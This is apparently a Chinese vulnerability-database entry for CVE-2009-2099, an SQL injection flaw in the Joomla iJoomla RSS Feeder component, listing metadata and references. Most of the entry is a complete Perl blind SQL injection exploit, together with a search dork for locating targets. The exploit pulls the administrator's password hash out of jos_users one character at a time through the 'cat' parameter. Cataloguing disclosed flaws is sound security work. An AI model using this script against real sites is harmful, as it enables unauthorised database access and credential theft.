iJoomla RSS Feeder SQL注入漏洞

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漏洞ID 1117965 漏洞类型 SQL注入
发布时间 2009-06-15 更新时间 2009-06-23
CVE编号 CVE-2009-2099 CNNVD-ID CNNVD-200906-287
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8959
https://cxsecurity.com/issue/WLB-2009060151
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200906-287
|漏洞详情
Joomla!iJoomlaRSSFeeder(com_ijoomla_rss)组件中存在SQL注入漏洞。远程攻击者可以借助一个对index.php的xml动作中的cat参数,执行任意SQL指令。
|漏洞EXP
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                        \n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  print "  o   Joomla Component com_ijoomla_rss Blind SQL Injection Exploit              o\n";
  print "  o   Author:xoron                                               o\n";
  print "  o   More info:http://joomla15.ijoomlademo.com o\n";
  print "  o   vendor:http://ijoomlademo.com                                o\n";
  print "  o   Dork :   com_ijoomla_rss                                       o\n";
  print "  o   Usage:   perl bachir.pl host path <options>                       o\n";
  print "  o   Example: perl bachir.pl www.host.com /joomla/ -s 2                o\n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  exit;
}
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $sid     = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "s=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
  $userid = $options{"u"};
}
if($options{"s"})
{
  $sid = $options{"s"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $sid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $sid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $sid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_ijoomla_rss&act=xml&cat=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")";
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "seminar_boxA";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2009-06-15]
|参考资料

来源:BID
名称:35379
链接:http://www.securityfocus.com/bid/35379
来源:MILW0RM
名称:8959
链接:http://www.milw0rm.com/exploits/8959
来源:SECUNIA
名称:35454
链接:http://secunia.com/advisories/35454
来源:OSVDB
名称:55113
链接:http://osvdb.org/55113